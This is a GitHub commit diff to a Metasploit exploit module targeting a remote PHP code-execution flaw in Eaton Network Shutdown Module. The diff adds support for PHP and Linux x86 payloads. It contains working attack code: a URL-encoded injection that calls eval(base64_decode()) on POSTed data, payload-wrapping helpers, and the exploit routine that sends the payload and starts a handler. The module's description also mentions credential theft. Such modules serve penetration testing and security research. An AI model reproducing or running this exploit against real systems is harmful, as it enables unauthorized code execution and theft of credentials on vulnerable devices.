Skip to content

Commit b764110

Browse files
committed
Use PhpEXE to be able to support PHP and Linux native payloads
1 parent fd22963 commit b764110

File tree

1 file changed

+28
-13
lines changed

1 file changed

+28
-13
lines changed

modules/exploits/multi/http/eaton_nsm_code_exec.rb

Lines changed: 28 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -6,11 +6,13 @@
66
##
77

88
require 'msf/core'
9+
require 'msf/core/exploit/php_exe'
910

1011
class Metasploit3 < Msf::Exploit::Remote
1112
Rank = ExcellentRanking
1213

1314
include Msf::Exploit::Remote::HttpClient
15+
include Msf::Exploit::PhpEXE
1416

1517
def initialize(info = {})
1618
super(update_info(info,
@@ -22,9 +24,12 @@ def initialize(info = {})
2224
note that in order to be able to steal credentials, the vulnerable service
2325
must have at least one USV module (an entry in the "nodes" table in mgedb.db)
2426
},
25-
'Author' => [ 'h0ng10' ], # original discovery, msf module
27+
'Author' =>
28+
[
29+
'h0ng10', # original discovery, msf module
30+
'sinn3r' # PhpEXE shizzle
31+
],
2632
'License' => MSF_LICENSE,
27-
'Version' => '$Revision$',
2833
'References' =>
2934
[
3035
['OSVDB', '83199'],
@@ -33,13 +38,16 @@ def initialize(info = {})
3338
'Payload' =>
3439
{
3540
'DisableNops' => true,
36-
'Space' => 4000,
37-
'Keys' => ['php']
41+
'Space' => 4000
3842
},
39-
'Platform' => ['php'],
43+
'Platform' => ['php', 'linux'],
4044
'Arch' => ARCH_PHP,
4145

42-
'Targets' => [[ 'Automatic', { }]],
46+
'Targets' =>
47+
[
48+
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
49+
[ 'Linux x86' , { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ]
50+
],
4351
'DefaultTarget' => 0,
4452
'Privileged' => true,
4553
'DisclosureDate' => 'Jun 26 2012'
@@ -66,9 +74,8 @@ def check
6674

6775
def execute_php_code(code, opts = {})
6876
param_name = rand_text_alpha(6)
69-
padding = rand_text_alpha(6)
70-
php_code = Rex::Text.encode_base64(code)
71-
url_param = "#{padding}%22%5d,%20eval(base64_decode(%24_POST%5b%27#{param_name}%27%5d))%29;%2f%2f"
77+
padding = rand_text_alpha(6)
78+
url_param = "#{padding}%22%5d,%20eval(base64_decode(%24_POST%5b%27#{param_name}%27%5d))%29;%2f%2f"
7279

7380
res = send_request_cgi(
7481
{
@@ -80,19 +87,27 @@ def execute_php_code(code, opts = {})
8087
},
8188
'vars_post' =>
8289
{
83-
param_name => php_code,
90+
param_name => Rex::Text.encode_base64(code),
8491
},
8592
'headers' =>
8693
{
8794
'Connection' => 'Close',
8895
}
89-
})
90-
res
96+
})
97+
end
98+
99+
def no_php_tags(p)
100+
p = p.gsub(/^<\?php /, '')
101+
p.gsub(/ \?\>$/, '')
91102
end
92103

93104
def exploit
94105
print_status("#{rhost}:#{rport} - Sending payload")
95-
execute_php_code(payload.encoded)
106+
107+
unlink = (target['Platform'] == 'linux') ? true : false
108+
p = no_php_tags(get_write_exec_payload(:unlink_self => unlink))
109+
110+
execute_php_code(p)
96111
handler
97112
end
98113
end

0 commit comments

Comments
 (0)